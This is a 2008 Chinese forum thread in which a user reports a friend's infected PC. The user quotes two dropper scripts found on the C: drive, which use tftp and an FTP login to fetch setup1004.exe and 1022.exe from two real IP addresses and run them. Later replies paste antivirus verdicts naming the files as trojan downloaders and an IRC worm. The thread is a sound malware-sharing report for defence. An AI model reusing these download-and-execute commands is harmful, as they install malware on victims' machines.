一个朋友中了毒,发现恶意下载网站

显示全部楼层 · 发表于 2008-3-25 22:19:52

一个朋友的电脑中了毒,已搞定,几乎所有的exe文件被感染,不知是何病毒.
其中C盘下有二个bat文件,指定从某个网站下载病毒.
源代码如下:
tftp -i 61.175.194.140 get setup1004.exe
tftp -i 61.175.194.140 get 1022.exe
setup1004.exe
1022.exe

===============================
open 219.153.11.219
test
test
get 88.exe c:\1022.exe
get 99.exe c:\setup1004.exe
quit

显示全部楼层 · 发表于 2008-3-25 22:46:45

显示全部楼层 · 发表于 2008-3-25 22:50:56

Begin scan in 'E:\VIRUS\setup1004.rar'
E:\VIRUS\setup1004.rar
  [0] Archive type: RAR
  --> setup1004.exe
   [DETECTION] Is the Trojan horse TR/Delphi.Downloader.Gen
  --> 1022.exe
   [DETECTION] Is the Trojan horse TR/Dldr.Agent.NAC

显示全部楼层 · 发表于 2008-3-25 22:51:01

detected: virus Heur.AntiAV (modification) File: C:\Documents and Settings\Owner\×ÀÃæ\setup1004.rar/setup1004.exe//NSPack
detected: virus IRC-Worm.Win32.Delf.az File: C:\Documents and Settings\Owner\×ÀÃæ\setup1004.rar/1022.exe

TO KL

显示全部楼层 · 发表于 2008-3-25 22:57:40

在文件 C:\Documents and Settings\jljqq\Local Settings\Temporary Internet Files\Content.IE5\2GX8LGTX\setup1004[1].rar 中发现恶意代码。
感染: IRC-Worm.Win32.Delf.az
操作: 无.

显示全部楼层 · 发表于 2008-3-25 23:29:20

[Found security risk] <W32/Injector.A.gen!Eldorado (not disinfectable, generic)> C:\test\setup1004.rar->setup1004.exe
[Found security risk] <W32/Agent.S.gen!Eldorado (not disinfectable, generic)> C:\test\setup1004.rar->1022.exe

显示全部楼层 · 发表于 2008-3-26 08:41:27

2008-3-26 8:40:48 未采取操作 EKINCHENG D:\Documents and Settings\EKINCHENG\桌面\setup1004.rar\SETUP1004.EXE New Malware.u(特洛伊)
2008-3-26 8:40:50 未采取操作 EKINCHENG D:\Documents and Settings\EKINCHENG\桌面\setup1004.rar\1022.EXE Downloader-BFO(特洛伊)

显示全部楼层 · 发表于 2008-3-26 09:27:55

Virus: Trojan-PSW.Win32.OnLineGames.wjq, IRC-Worm.Win32.Delf.az

显示全部楼层 · 发表于 2008-3-26 11:12:56

C:\Documents and Settings\GUNDAM\桌面\setup1004.rar » RAR » 1022.exe - probably a variant of Win32/Genetik trojan

显示全部楼层 · 发表于 2008-3-26 17:16:39

好象是AV终结者吧

[已鉴定] 一个朋友中了毒,发现恶意下载网站

回复 2楼 qianwenxiang 的帖子